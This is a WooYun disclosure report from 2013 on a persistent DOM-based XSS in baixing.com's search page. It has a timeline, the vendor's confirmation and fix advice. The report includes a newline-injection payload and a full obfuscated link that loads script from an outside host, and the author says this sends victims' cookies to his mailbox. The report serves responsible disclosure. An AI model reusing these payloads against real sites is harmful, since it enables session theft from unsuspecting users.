当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021713

漏洞标题:百姓网主站dom+xss,不仅持久,还能偷cookie哦!

相关厂商:百姓网

漏洞作者: 梧桐雨

提交时间:2013-04-13 12:50

修复时间:2013-05-28 12:51

公开时间:2013-05-28 12:51

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-13: 细节已通知厂商并且等待厂商处理中
2013-04-15: 厂商已经确认,细节仅向厂商公开
2013-04-25: 细节向核心白帽子及相关领域专家公开
2013-05-05: 细节向普通白帽子公开
2013-05-15: 细节向实习白帽子公开
2013-05-28: 细节向公众公开

简要描述:

不能编辑漏洞、没通过也悲哀- -发了那么多过程,一个未通过就得重来,愤恨有木有!!学以致用才是最终的目的。

详细说明:

问题描述是对乌云一个很客观的评价,顿神会生气么?
不管会不会,我再写一次吧:)
百姓网主站搜索处感觉没过滤的样子?
带着这个怀疑,操起了普通的

<script>alert(1)</script>、<img src=1 onerror=alert(1) />


去测试,结果<>被过滤的体无完肤。。
慢着,我们把目光放在

baixing-1.jpg


这里是一个dom输出点,于是带着疑惑。我再次尝试单引号(')、以及斜杠(/)
惊讶的发现没有过滤:

baixing-2.jpg


这里额外插一个话题:大家应该记得心伤的瘦子教程:
WooYun: [腾讯实例教程] 那些年我们一起学XSS - 6. 换行符复仇记
[腾讯实例教程] 那些年我们一起学XSS - 6. 换行符复仇记
我们可以用%0a换行来执行我们想执行的代码:
最后组合可以触发domxss的链接如下:
http://www.baixing.com/root/m15/?query=';%0aalert(1)//
标题处我说了不仅持久,持久体现在哪里呢?
在这里:

baixing-4.jpg


当你中了一次这个domxss的时候,你点击任意连接,都会再次触发这个xss,持久吧?
说了这么多,我们还是上利用这个xss获取cookie的使用方法吧!
这里我用的是通过eval()函数植入代码。
再次结合二哥的xss工具。

baixing-5.jpg


组合之后得到链接:

http://www.baixing.com/root/m15/?query=';%0aeval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,49,50,54,46,97,109,47,71,54,78,101,122,50);document.body.appendChild(window.s)')//

漏洞证明:

当受害者点击之后:

baixing-6.jpg


cookie就会发送到我的邮箱了:

baixing-7.jpg


修复方案:

墨迹了那么多,谈谈修复方案吧。
1、经过测试,得出结果,你们的过滤是基于黑名单的,条件允许的话更改成白名单。
2、1如果不能的做到的话,过滤特殊字符,如(',;)等。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-04-15 09:31

厂商回复:

非常感谢,相关的开发人员已经着手开始整理修复这类问题了,网站上类似的 情况还挺多的。
这类漏洞之前确实考虑的不全面,准备系统的学习下 《那些年我们一起学XSS》系列:P

最新状态:

暂无